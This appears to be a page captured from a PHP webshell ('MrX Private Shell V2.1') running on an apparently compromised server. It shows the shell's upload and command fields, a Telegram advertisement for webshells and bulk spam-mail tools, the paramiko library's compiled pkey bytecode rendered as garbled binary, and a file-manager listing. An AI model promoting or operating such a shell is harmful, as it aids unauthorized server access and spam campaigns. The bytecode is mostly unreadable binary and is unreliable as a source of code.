__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�|�g���b�SrSSKrSSKJrJr SSKJr SSKrSSKJr SSK	J
r
Jr SSKrSSK
r
SSKrSSKJr SSKJrJr SS	KJrJrJr SS
KJr SSKJr SSKJrJr SS
KJr SSK J!r!J"r" SSK#J$r$ SSK%J&r& Sr)Sr*"SS\+5r,"SS5r-"SS5r.g!\'a	 SSK(J&r& N3f=f)z!
Common API for all public keys.
�N)�encodebytes�decodebytes)�	unhexlify)�Path)�md5�sha256)�default_backend)�padding�
serialization)�
algorithms�modes�Cipher)�
asymmetric)�util)�u�b)�o600)�SSHException�PasswordRequiredException)�Message)�	TripleDESsopenssh-key-v1c��USnSUs=::aS:aU$ US:�a[S5e[U5HnXU-
US-:wdM[S5e USU*$)N���� ��zInvalid key�)r�range)�data�padding_length�is   �//usr/lib/python3/dist-packages/paramiko/pkey.py�_unpad_opensshr#?sw���"�X�N��~�$��$���%�����=�)�)�
�>�
"���N�"�#�q�1�u�,��}�-�-�#�� �.��!�!�c�(�\rSrSrSrSSjrSrSrg)�UnknownKeyType�NzC
An unknown public/private key algorithm was attempted to be read.
Nc��XlX lg�N��key_type�	key_bytes)�selfr+r,s   r"�__init__�UnknownKeyType.__init__Ss�� �
�"�r$c�P�SUR<S[UR5S3$)NzUnknownKeyType(type=z	, bytes=<z>))r+�lenr,�r-s r"�__str__�UnknownKeyType.__str__Ws'��%�d�m�m�%6�i��D�N�N�@S�?T�TV�W�Wr$�r,r+�NN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r.r3�__static_attributes__�r$r"r&r&Ns���#�Xr$r&c�8�\rSrSrSr\RSS\RS.\RSS\RS.\	SS\RS.S.r
S	rS
r\
R"S5r\
R"S5r\S0Sj5r\S5r\S5rS1SjrSrSrSrSrSr\S5rSr\S5rSr Sr!Sr"\S5r#Sr$S0Sjr%S r&\S0S!j5r'\S0S"j5r(S0S#jr)S0S$jr*S0S%jr+S0S&jr,S'r-S(r.S)r/S*r0S0S+jr1S0S,jr2S-r3S.r4S/r5g
)2�PKey�[zt
Base class for public keys.

Also includes some "meta" level convenience constructors such as
`.from_type_string`.
�)�cipher�keysize�	blocksize�moder��)zAES-128-CBCzAES-256-CBCzDES-EDE3-CBCr�z3^-{5}BEGIN (RSA|DSA|EC|OPENSSH) PRIVATE KEY-{5}\s*$z1^-{5}END (RSA|DSA|EC|OPENSSH) PRIVATE KEY-{5}\s*$Nc��SSKJnJnJnJn [U5nSn[U5R
U5(aUS[U5*nUnOUnX-n[U5R5n[U5R5nUR5n	[R"X�S9n
Sn[U
[ R"R$5(aUnO�[U
[ R&R(5(aUnOk[U
[ R*R,5(aUnO?[U
[ R.R05(aUnO[3X�R4S9eUR75nUR9X�S9n
SSS5 UR;5(aW
R=[U55 W
$![a [R"X�S9n
GN?f=f!,(df   Nd=f)a
Attempt to instantiate appropriate key subclass from given file path.

:param Path path: The path to load (may also be a `str`).

:returns:
    A `PKey` subclass instance.

:raises:
    `UnknownKeyType`, if our crypto backend doesn't know this key type.

.. versionadded:: 3.2
r)�DSSKey�RSAKey�
Ed25519Key�ECDSAKeyz	-cert.pubN)r�passwordr5�rN)�paramikorJrKrLrM�str�endswithr1r�
expanduser�
read_bytesr�load_ssh_private_key�
ValueError�load_pem_private_key�
isinstancer�dsa�
DSAPrivateKey�rsa�
RSAPrivateKey�ed25519�Ed25519PrivateKey�ec�EllipticCurvePrivateKeyr&�	__class__�open�from_private_key�exists�load_certificate)�path�
passphraserJrKrLrM�cert_suffix�key_path�	cert_pathr�loaded�	key_class�fd�keys              r"�	from_path�PKey.from_paths���$	B�A��4�y��"���t�9���k�*�*��/�s�;�/�/�0�H��I��H��*�I���>�,�,�.����O�.�.�0�	��"�"�$��	�"�7�7���F� �	��f�j�n�n�:�:�;�;��I�
��
��� <� <�
=�
=��I�
��
� 2� 2� D� D�
E�
E�"�I�
��
�
�
� E� E�
F�
F� �I� �4�:J�:J�K�K�
�]�]�_���,�,�R�,�E�C�������� � ��Y��0��
��9�	�"�7�7���F�	��.�_�s�G�=G+�G(�'G(�+
G9c�h�SSKJn UHnXR5;dMU"US9s $ [XS9e)a
Given type `str` & raw `bytes`, return a `PKey` subclass instance.

For example, ``PKey.from_type_string("ssh-ed25519", <public bytes>)``
will (if successful) return a new `.Ed25519Key`.

:param str key_type:
    The key type, eg ``"ssh-ed25519"``.
:param bytes key_bytes:
    The raw byte data forming the key material, as expected by
    subclasses' ``data`` parameter.

:returns:
    A `PKey` subclass instance.

:raises:
    `UnknownKeyType`, if no registered classes knew about this type.

.. versionadded:: 3.2
r)�key_classes)rr*)rPrr�identifiersr&)r+r,rrrls    r"�from_type_string�PKey.from_type_string�s8��,	)�$�I��0�0�2�2� �i�0�0�%��h�D�Dr$c��UR/$)z�
returns an iterable of key format/name strings this class can handle.

Most classes only have a single identifier, and thus this default
implementation suffices; see `.ECDSAKey` for one example of an
override.
)�name)�clss r"rs�PKey.identifiers�s�����z�r$c��g)a�
Create a new instance of this public key type.  If ``msg`` is given,
the key's public part(s) will be filled in from the message.  If
``data`` is given, the key's public part(s) will be filled in from
the string.

:param .Message msg:
    an optional SSH `.Message` containing a public key of this type.
:param bytes data:
    optional, the bytes of a public key of this type

:raises: `.SSHException` --
    if a key cannot be created from the ``data`` or ``msg`` given, or
    no key was passed in.
Nr=)r-�msgrs   r"r.�
PKey.__init__�s�� 	
r$c���Sn[US5(a!UR(aSUR<3nSURSUR5SURUS3$)N��commentz
, comment=z	PKey(alg=z, bits=z, fp=�))�hasattrr�algorithm_name�get_bits�fingerprint)r-rs  r"�__repr__�
PKey.__repr__sb�����4��#�#����"�4�<�<�"2�3�G��4�.�.�/�w�t�}�}��6G�u�T�M]�M]�L^�_f�^g�gh�i�ir$c��[5$)z�
Return a string of an SSH `.Message` made up of the public part(s) of
this key.  This string is suitable for passing to `__init__` to
re-create the key object later.
��bytesr2s r"�asbytes�PKey.asbytess���w�r$c�"�UR5$r))r�r2s r"�	__bytes__�PKey.__bytes__ s���|�|�~�r$c�b�[U[5=(a URUR:H$r))rXr?�_fields�r-�others  r"�__eq__�PKey.__eq__#s!���%��&�H�4�<�<�5�=�=�+H�Hr$c�,�[UR5$r))�hashr�r2s r"�__hash__�
PKey.__hash__&s���D�L�L�!�!r$c��[er))�NotImplementedErrorr2s r"r��PKey._fields)s��!�!r$c��g)z�
Return the name of this private key implementation.

:return:
    name of this private key type, in SSH terminology, as a `str` (for
    example, ``"ssh-rsa"``).
r~r=r2s r"�get_name�
PKey.get_name-s��r$c���UR5RSS5nSnX!;a"URUS5nUR5$URS5SnUR5$)z�
Return the key algorithm identifier for this key.

Similar to `get_name`, but aimed at pure algorithm name instead of SSH
protocol field value.
zssh-r~z[email protected]-cert�-r)r��replace�split�upper)r-rw�	cert_tails   r"r��PKey.algorithm_name7se���}�}��&�&�v�r�2��+�	����<�<�	�7�3�D��z�z�|���:�:�c�?�1�%�D��z�z�|�r$c��g)z�
Return the number of significant bits in this key.  This is useful
for judging the relative security of a key.

:return: bits in the key (as an `int`)
rr=r2s r"r��
PKey.get_bitsKs��r$c��g)zN
Return ``True`` if this key has the private part necessary for signing
data.
Fr=r2s r"�can_sign�
PKey.can_signVs��
r$c�P�[UR55R5$)z�
Return an MD5 fingerprint of the public part of this key.  Nothing
secret is revealed.

:return:
    a 16-byte `string <str>` (binary) of the MD5 fingerprint, in SSH
    format.
)rr��digestr2s r"�get_fingerprint�PKey.get_fingerprint]s���4�<�<�>�"�)�)�+�+r$c���[[U55nURR5n[	UR55n[
U5R5RS5nUSU3$)z�
Modern fingerprint property designed to be comparable to OpenSSH.

Currently only does SHA256 (the OpenSSH default).

.. versionadded:: 3.2
�=�:)	rr�rwr�rr�r�strip�rstrip)r-�hashy�	hash_name�b64ed�cleaneds     r"r��PKey.fingerprinths`���u�T�{�#���J�J�$�$�&�	��E�L�L�N�+���E�(�.�.�"�)�)�#�.����A�g�Y�'�'r$c�f�[[UR555RSS5$)a
Return a base64 string containing the public part of this key.  Nothing
secret is revealed.  This format is compatible with that used to store
public key files or recognized host keys.

:return: a base64 `string <str>` containing the public part of the key.
�
r~)rrr�r�r2s r"�
get_base64�PKey.get_base64ws'����T�\�\�^�,�-�5�5�d�B�?�?r$c��[5$)a}
Sign a blob of data with this private key, and return a `.Message`
representing an SSH signature message.

:param bytes data:
    the data to sign.
:param str algorithm:
    the signature algorithm to use, if different from the key's
    internal name. Default: ``None``.
:return: an SSH signature `message <.Message>`.

.. versionchanged:: 2.9
    Added the ``algorithm`` kwarg.
r�)r-r�	algorithms   r"�
sign_ssh_data�PKey.sign_ssh_data�s���w�r$c��g)a&
Given a blob of data, and an SSH message representing a signature of
that data, verify that it was signed with this key.

:param bytes data: the data that was signed.
:param .Message msg: an SSH signature message
:return:
    ``True`` if the signature verifies correctly; ``False`` otherwise.
Fr=)r-rr{s   r"�verify_ssh_sig�PKey.verify_ssh_sig�s��r$c��U"XS9nU$)a2
Create a key object by reading a private key file.  If the private
key is encrypted and ``password`` is not ``None``, the given password
will be used to decrypt the key (otherwise `.PasswordRequiredException`
is thrown).  Through the magic of Python, this factory method will
exist in all subclasses of PKey (such as `.RSAKey` or `.DSSKey`), but
is useless on the abstract PKey class.

:param str filename: name of the file to read
:param str password:
    an optional password to use to decrypt the key file, if it's
    encrypted
:return: a new `.PKey` based on the given private key

:raises: ``IOError`` -- if there was an error reading the file
:raises: `.PasswordRequiredException` -- if the private key file is
    encrypted, and ``password`` is ``None``
:raises: `.SSHException` -- if the key file is invalid
)�filenamerNr=)rxr�rNrns    r"�from_private_key_file�PKey.from_private_key_file�s��*�8�7���
r$c��U"XS9nU$)a�
Create a key object by reading a private key from a file (or file-like)
object.  If the private key is encrypted and ``password`` is not
``None``, the given password will be used to decrypt the key (otherwise
`.PasswordRequiredException` is thrown).

:param file_obj: the file-like object to read from
:param str password:
    an optional password to use to decrypt the key, if it's encrypted
:return: a new `.PKey` based on the given private key

:raises: ``IOError`` -- if there was an error reading the key
:raises: `.PasswordRequiredException` --
    if the private key file is encrypted, and ``password`` is ``None``
:raises: `.SSHException` -- if the key file is invalid
)�file_objrNr=)rxr�rNrns    r"rc�PKey.from_private_key�s��$�8�7���
r$c��[S5e)a_
Write private key contents into a file.  If the password is not
``None``, the key is encrypted before writing.

:param str filename: name of the file to write
:param str password:
    an optional password to use to encrypt the key file

:raises: ``IOError`` -- if there was an error writing the file
:raises: `.SSHException` -- if the key is invalid
�Not implemented in PKey��	Exception)r-r�rNs   r"�write_private_key_file�PKey.write_private_key_file�����1�2�2r$c��[S5e)at
Write private key contents into a file (or file-like) object.  If the
password is not ``None``, the key is encrypted before writing.

:param file_obj: the file-like object to write into
:param str password: an optional password to use to encrypt the key

:raises: ``IOError`` -- if there was an error writing to the file
:raises: `.SSHException` -- if the key is invalid
r�r�)r-r�rNs   r"�write_private_key�PKey.write_private_key�r�r$c�x�[US5nURXU5nSSS5 U$!,(df   W$=f)a^
Read an SSH2-format private key file, looking for a string of the type
``"BEGIN xxx PRIVATE KEY"`` for some ``xxx``, base64-decode the text we
find, and return it as a string.  If the private key is encrypted and
``password`` is not ``None``, the given password will be used to
decrypt the key (otherwise `.PasswordRequiredException` is thrown).

:param str tag: ``"RSA"`` or ``"DSA"``, the tag used to mark the
    data block.
:param str filename: name of the file to read.
:param str password:
    an optional password to use to decrypt the key file, if it's
    encrypted.
:return: the `bytes` that make up the private key.

:raises: ``IOError`` -- if there was an error reading the file.
:raises: `.PasswordRequiredException` -- if the private key file is
    encrypted, and ``password`` is ``None``.
:raises: `.SSHException` -- if the key file is invalid.
�rN)rb�_read_private_key)r-�tagr�rN�frs      r"�_read_private_key_file�PKey._read_private_key_file�s:��*�(�C�
 �A��)�)�#�(�;�D�!���!�
 ���s�*�
9c�T�UR5nU(d[SRU55eSnURR	XE5n[U5S-
nXW:a7U(d0US-
nURR	XE5nXW:a	U(dM0US-
nU(aUR
S5OSnU[U5:�dUc[SRU55eUn	URR	XI5nX�:a7U(d0U	S-
n	URR	XI5nX�:a	U(dM0X�:Xa!URXIU5n
URnX�4$US:Xa#URXEU	U5n
URnX�4$[SRX�55e)Nzno lines in {} private key filerrznot a valid {} private key file�OPENSSHz#encountered {} key, expected {} key)�	readlinesr�format�	BEGIN_TAG�matchr1�group�END_TAG�_read_private_key_pem�_PRIVATE_KEY_FORMAT_ORIGINAL�_read_private_key_openssh�_PRIVATE_KEY_FORMAT_OPENSSH)r-r�r�rN�lines�start�m�
line_range�keytype�endr�pkformats            r"r��PKey._read_private_keys������
����@�G�G��L�M�M����N�N� � ���.����Z�!�^�
�� ���Q�J�E����$�$�U�\�2�A�� ���	��
�� !�!�'�'�!�*�t���C��J��'�/��@�G�G��L�M�M����L�L���u�z�*����q��1�H�C����"�"�5�:�.�A���q�q��>��-�-�e�(�C�D��8�8�H��~���	�
!��1�1�%�c�2B�H�M�D��7�7�H��~��	�5�<�<�W�J��
r$c�d�Sn[URURRU55e)Nz={}._read_private_key() spat out an unknown key format id '{}')rr�rar7)r-�id_�errs   r"�_got_bad_key_format_id�PKey._got_bad_key_format_id%s'��M���3�:�:�d�n�n�&=�&=�s�C�D�Dr$c	��Sn0nUS-
nU[U5:a_XRS5n[U5S:XaO<USR5XVSR5'US-
nU[U5:aM_[	[SR
XU555nSU;aU$USn	U	S:wa[SRU	55eUS	RS
5up�X�R;a[SRU
55eUc[S
5eURU
SnURU
Sn
URU
Sn[[U55n[R "["X�U
5n[%U"U5U"U5['5S9R)5nUR+U5UR-5-n[.R0"UR25R55nUR+U5UR-5-$![RRan[SRU55eSnAff=f! [S5e=f![6a [S5ef=f)Nrrz: r~�base64 decoding error: {}z	proc-typez4,ENCRYPTEDz"Unknown private key structure "{}"zdek-info�,z(Can't parse DEK-info in private key filezUnknown private key cipher "{}"zPrivate key file is encryptedrBrCrE)�backendz(Bad password or corrupt private key file)r1r�r��lowerrr�join�base64�binascii�Errorrr��
_CIPHER_TABLErrr�generate_key_bytesrrr	�	decryptor�update�finalizer
�PKCS7�
block_size�unpadderrV)r-r�r�rNr��headers�liner�e�	proc_type�encryption_type�saltstrrBrCrE�saltrnr�decrypted_datars                    r"r��PKey._read_private_key_pem)s|������
��
���c�%�j� ��<�%�%�d�+�D��4�y�A�~��'+�A�w�}�}��G��G�M�M�O�$��Q�J�E��c�%�j� �	F��q�����S�)9�!:�;�<�D��g�%��K��K�(�	��
�%��4�;�;�I�F��
�	K�'.�z�':�'@�'@��'E�$�O��"4�"4�4��1�8�8��I��
�
��+�,K�L�L��#�#�O�4�X�>���$�$�_�5�i�@���!�!�/�2�6�:����7��$���%�%�c�4�7�C����3�K��d��_�->�
�
�)�+�	�#�)�)�$�/�)�2D�2D�2F�F���=�=��!2�!2�3�<�<�>��	K��?�?�>�2�X�5F�5F�5H�H�H��E���$�$�	F��:�A�A�!�D�E�E��	F��	K��I�J�J��*�	K��I�J�J�	K�s0�9%H�I�=!I/�I�=I�I�
I,�/Jc��[[SRU555nUSSnU[:wa[
S5eURUSSS5nUupxp�nU
S:�a[
S5eURUS	5up�U[S
5:XGa"U[S5:Xa[RnOIU[S5:Xa[RnO)[
S
RURS555eUc[S5eURU	S5unn[R "[U5[U5SUSS9nUSSnUSSn[#[$R&"U5U"U5[)55R+5nUR-U
5nUUR/5-
nO,U[S5:XaU[S5:XaU
nO[
S5eURUS5nUunnnnUU:wa[
S5e[1U5$![RR
an[
SRU55eSnAff=f)z�
Read the new OpenSSH SSH2 private key format available
since OpenSSH version 6.5
Reference:
https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.key
r~r�Nrz)unexpected OpenSSH key header encountered�sssurrz.unsupported: private keyfile has multiple keys�ss�bcryptz
aes256-cbcz
aes256-ctrz,unknown cipher `{}` used in private key filezutf-8zprivate key file is encrypted�su�0T)�ignore_few_roundsr�nonez.unknown cipher or kdf used in private key file�uusrz/OpenSSH private key file checkints do not match)rrr�r�r�r�rr��OPENSSH_AUTH_MAGIC�_uint32_cstruct_unpackr
�CBC�CTR�decoderr�kdfrr�AESr	rrrr#)r-r�rNrr�
auth_magic�cstructrB�kdfname�kdf_options�num_pubkeys�	remainder�pubkey�privkey_blobrEr�rounds�key_ivrn�ivr�decrypted_privkey�	checkint1�	checkint2r��keydatas                          r"r��PKey._read_private_key_openssh]s`��	F��q������0�1�D�
�#�2�Y�
��+�+��J�K�K��-�-�d�2�3�i��A��?F�<���9���?��@��
� $�:�:�9�d�K����a��k�!���<��(��y�y���1�\�?�*��y�y��"�B�I�I��
�
�g�.������/�3���
 �6�6�{�D�I�L�D�&��Z�Z��(���$����#'��F���"�+�C�����B�����s�#�T�"�X��/@���i�k�
�!*� 0� 0�� >����!3�!3�!5�5��
�q��y�
 �W��&�	�%9� ,���@��
�
�-�-�.?��H��18�.�	�9�g�w��	�!��A��
��g�&�&��W���$�$�	F��:�A�A�!�D�E�E��	F�s�#H�I�0I
�
Ic�~�/nSnUGHnUS:Xa?[R"SXUS-5SnUS-
nXXF-nXF-
nURU5 US:XaX[R"SXUS-5SnUS-
nXXF-nXF-
n[R"US5nURU5 M�US:Xa7[R"SXUS-5Sn	US-
nURU	5 M�US:XdM�XS	nURU5  O [U5$![
an
[
[U
55eS	n
A
ff=f)
a�
Used to read new OpenSSH private key format.
Unpacks a c data structure containing a mix of 32-bit uints and
variable length strings prefixed by 32-bit uint size field,
according to the specified format. Returns the unpacked vars
in a tuple.
Format strings:
  s - denotes a string
  i - denotes a long integer, encoded as a byte string
  u - denotes a 32-bit unsigned integer
  r - the remainder of the input string, returned as a string
r�sz>L�r!Trr�N)	�struct�unpack�appendr�inflate_longr�rrQ�tuple)r-r�	strformat�arr�idxr��s_sizer0r!rrs           r"r�PKey._uint32_cstruct_unpack�sM������	'�����8�#�]�]�4��C�!�G�1D�E�a�H�F��1�H�C��3�<�0�A��M�C��J�J�q�M���8�#�]�]�4��C�!�G�1D�E�a�H�F��1�H�C��3�<�0�A��M�C��)�)�!�T�2�A��J�J�q�M��#�X��
�
�d�D�s�Q�w�,?�@��C�A��1�H�C��J�J�q�M��#�X��T�
�A��J�J�q�M��3�>�S�z����	'��s�1�v�&�&��		'�s$�C*D�4D�D�
D<�#D7�7D<c��[R"[R"U[R[R-[R
-[S9S5nURXRX4S9 SSS5 g!,(df   g=f)a<
Write an SSH2-format private key file in a form that can be read by
paramiko or openssh.  If no password is given, the key is written in
a trivially-encoded format (base64) which is completely insecure.  If
a password is given, DES-EDE3-CBC is used.

:param str tag:
    ``"RSA"`` or ``"DSA"``, the tag used to mark the data block.
:param filename: name of the file to write.
:param bytes data: data blob that makes up the private key.
:param str password: an optional password to use to encrypt the file.

:raises: ``IOError`` -- if there was an error writing the file.
)�flagsrE�wrON)�os�fdopenrb�O_WRONLY�O_TRUNC�O_CREATr�_write_private_key)r-r�rnr�rNr�s      r"�_write_private_key_file�PKey._write_private_key_file�sl��$�Y�Y��G�G���k�k�B�J�J�.����;��	
�
�

���#�#�A�F�#�F�

�

�

�s� A:�:
Bc��Uc[R"5nO[R"[U55nUR	UR[RRX55R55 gr))	r�NoEncryption�BestAvailableEncryptionr�write�
private_bytes�Encoding�PEMr)r-r�rnr�rN�
encryptions      r"rD�PKey._write_private_keys\����&�3�3�5�J�&�>�>�q��{�K�J�	�������&�&�*�*�F�
��f�h�	
r$c��UnUn[U[5(aU/n[U[5(aU/nUc[S5eUR5 UR	5nXd;agXe;a9UR[
UR555 UR5 gSn[URURRU55e)ai
Perform message type-checking & optional certificate loading.

This includes fast-forwarding cert ``msg`` objects past the nonce, so
that the subsequent fields are the key numbers; thus the caller may
expect to treat the message as key material afterwards either way.

The obtained key type is returned for classes which need to know what
it was (e.g. ECDSA.)
NzKey object may not be emptyz%Invalid key (class: {}, data type: {})rXrQr�rewind�get_textrerr��
get_stringr�rar7)r-r{r+�	cert_type�	key_types�
cert_types�type_r�s        r"�_check_type_and_load_cert�PKey._check_type_and_load_certs����	��
��h��$�$�"��I��j�#�&�&�$��J��;��<�=�=�	�
�
�����������
 �
�!�!�'�#�+�+�-�"8�9�
�N�N��9�C��s�z�z�$�.�.�*A�*A�5�I�J�Jr$c��[U[5(aSnO)[RR	U5(aSnOSn[[U5"U5nURRUR55(d5Sn[URURUR555eX0lg)a�
Supplement the private key contents with data loaded from an OpenSSH
public key (``.pub``) or certificate (``-cert.pub``) file, a string
containing such a file, or a `.Message` object.

The .pub contents adds no real value, since the private key
file includes sufficient information to derive the public
key info. For certificates, however, this can be used on
the client side to offer authentication requests to the server
based on certificate instead of raw public key.

See:
https://github.com/openssh/openssh-portable/blob/master/PROTOCOL.certkeys

Note: very little effort is made to validate the certificate contents,
that is for the server to decide if it is good enough to authenticate
successfully.
�from_message�	from_file�from_stringz0PublicBlob type {} incompatible with key type {}N)
rXrr?rf�isfile�getattr�
PublicBlobr+�
startswithr�rVr��public_blob)r-�value�constructor�blobr�s     r"re�PKey.load_certificateCs���&�e�W�%�%�(�K�
�W�W�^�^�E�
"�
"�%�K�'�K��z�;�/��6���}�}�'�'��
�
��8�8�D�C��S�Z�Z��
�
�t�}�}��G�H�H��r$)rbr)r6)6r7r8r9r:r;rrr
rrr�r�r��re�compiler�r��staticmethodrort�classmethodrsr.r�r�r�r�r��propertyr�r�r�r�r�r�r�r�r�r�r�rcr�r�r�r�r�r�r�rrErDrXrer<r=r$r"r?r?[s����!�n�n����I�I�	
�!�n�n����I�I�	
� ����I�I�	
��M�($%� �"#���
�
�>��I��j�j�M�N�G��G��G�R�E��E�:���� 
�0j���I�"��"��"������&	��	,��(��(�@��"
�����.����(3�3��2#�JE�2K�hT'�l/�b G�D

�/K�b r$r?c�d�\rSrSrSrSSjr\S5r\S5r\S5r	Sr
S	rS
rSr
g)
r`iiah
OpenSSH plain public key or OpenSSH signed public key (certificate).

Tries to be as dumb as possible and barely cares about specific
per-key-type data.

.. note::

    Most of the time you'll want to call `from_file`, `from_string` or
    `from_message` for useful instantiation, the main constructor is
    basically "I should be using ``attrs`` for this."
Nc�(�XlX lX0lg)z�
Create a new public blob of given type and contents.

:param str type_: Type indicator, eg ``ssh-rsa``.
:param bytes blob: The blob bytes themselves.
:param str comment: A comment, if one was given (e.g. file-based.)
N)r+�key_blobr)r-rWrers    r"r.�PublicBlob.__init__ws���
��
��r$c��[U5nUR5nSSS5 URW5$!,(df   N=f)z?
Create a public blob from a ``-cert.pub``-style file on disk.
N)rb�readr])rxr�r��strings    r"r\�PublicBlob.from_file�s4��
�(�^�q��V�V�X�F�����v�&�&��^�s	�6�
Ac��URSS5n[U5S:aSn[URU55eUSn[	[US55nUSR
5n[U5nUR5nX�:wa+SRXH5n	[SRU	55eU"XEUS9$![a SnN`f=f)	z9
Create a public blob from a ``-cert.pub``-style string.
NrHz%Not enough fields for public blob: {}rrz!key type={!r}, but blob type={!r}zInvalid PublicBlob contents: {})rWrer)
r�r1rVr�rrr��
IndexErrorrrR)
rxrr�fieldsr{r+rnrr��	blob_type�deetss
          r"r]�PublicBlob.from_string�s���
���d�A�&���v�;��?�9�C��S�Z�Z��/�0�0��!�9���q����|�,��	��Q�i�o�o�'�G�

�H����J�J�L�	�� �7�>�>���E��>�E�E�e�L�M�M���'�B�B���	��G�	�s�C�C�Cc�J�UR5nU"X!R5S9$)z�
Create a public blob from a network `.Message`.

Specifically, a cert-bearing pubkey auth packet, because by definition
OpenSSH-style certificates 'are' their own network representation."
)rWre)rRr�)rx�messagerWs   r"r[�PublicBlob.from_message�s$��� � �"����_�_�%6�7�7r$c��SRUR5nUR(aUSRUR5-
nU$)Nz{} public key/certificatez- {})r�r+r)r-�rets  r"r3�PublicBlob.__str__�s9��)�0�0����?���<�<��6�=�=����.�.�C��
r$c�X�U=(a" U=(a URUR:H$r))rnr�s  r"r��PublicBlob.__eq__�s���A��A�$�-�-�5�>�>�"A�Ar$c��X:X+$r)r=r�s  r"�__ne__�PublicBlob.__ne__�s��� � r$)rrnr+r))r7r8r9r:r;r.rjr\r]r[r3r�r�r<r=r$r"r`r`isZ���
��'��'��C��C�4�8��8��B�!r$r`)/r;r�rrr�rr?�pathlibr�hashlibrrrgr2r�cryptography.hazmat.backendsr	�cryptography.hazmat.primitivesr
r�&cryptography.hazmat.primitives.ciphersrr
rrrPr�
paramiko.utilrr�paramiko.commonr�paramiko.ssh_exceptionrr�paramiko.messager�/cryptography.hazmat.decrepit.ciphers.algorithmsr�ImportError�1cryptography.hazmat.primitives.ciphers.algorithmsrr#r�r&r?r`r=r$r"�<module>r�s���&��+��	���	�
�
�8�A�L�L�5��� �J�$�L�I�
+��"�
X�Y�
X�E �E �\T!�T!��c�L�K�L�s�4B�B.�-B.

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 3.64 KB 0644
_version.cpython-313.pyc File 292 B 0644
_winapi.cpython-313.pyc File 16.39 KB 0644
agent.cpython-313.pyc File 22.25 KB 0644
auth_handler.cpython-313.pyc File 45.82 KB 0644
auth_strategy.cpython-313.pyc File 11.99 KB 0644
ber.cpython-313.pyc File 6.06 KB 0644
buffered_pipe.cpython-313.pyc File 8.82 KB 0644
channel.cpython-313.pyc File 58.82 KB 0644
client.cpython-313.pyc File 30.79 KB 0644
common.cpython-313.pyc File 7 KB 0644
compress.cpython-313.pyc File 1.57 KB 0644
config.cpython-313.pyc File 22.72 KB 0644
dsskey.cpython-313.pyc File 10.98 KB 0644
ecdsakey.cpython-313.pyc File 14.82 KB 0644
ed25519key.cpython-313.pyc File 8.15 KB 0644
file.cpython-313.pyc File 19.55 KB 0644
hostkeys.cpython-313.pyc File 16.65 KB 0644
kex_curve25519.cpython-313.pyc File 7.82 KB 0644
kex_ecdh_nist.cpython-313.pyc File 8.58 KB 0644
kex_gex.cpython-313.pyc File 13.47 KB 0644
kex_group1.cpython-313.pyc File 7.4 KB 0644
kex_group14.cpython-313.pyc File 1.26 KB 0644
kex_group16.cpython-313.pyc File 1.29 KB 0644
kex_gss.cpython-313.pyc File 29.75 KB 0644
message.cpython-313.pyc File 11.6 KB 0644
packet.cpython-313.pyc File 26.31 KB 0644
pipe.cpython-313.pyc File 6.4 KB 0644
pkey.cpython-313.pyc File 35.02 KB 0644
primes.cpython-313.pyc File 4.23 KB 0644
proxy.cpython-313.pyc File 5.03 KB 0644
rsakey.cpython-313.pyc File 9.43 KB 0644
server.cpython-313.pyc File 29.38 KB 0644
sftp.cpython-313.pyc File 7.11 KB 0644
sftp_attr.cpython-313.pyc File 10.42 KB 0644
sftp_client.cpython-313.pyc File 38.72 KB 0644
sftp_file.cpython-313.pyc File 23.91 KB 0644
sftp_handle.cpython-313.pyc File 7.51 KB 0644
sftp_server.cpython-313.pyc File 22.36 KB 0644
sftp_si.cpython-313.pyc File 11.78 KB 0644
ssh_exception.cpython-313.pyc File 9.38 KB 0644
ssh_gss.cpython-313.pyc File 27.47 KB 0644
transport.cpython-313.pyc File 134.97 KB 0644
util.cpython-313.pyc File 12.42 KB 0644
win_openssh.cpython-313.pyc File 2.36 KB 0644
win_pageant.cpython-313.pyc File 4.82 KB 0644
Filemanager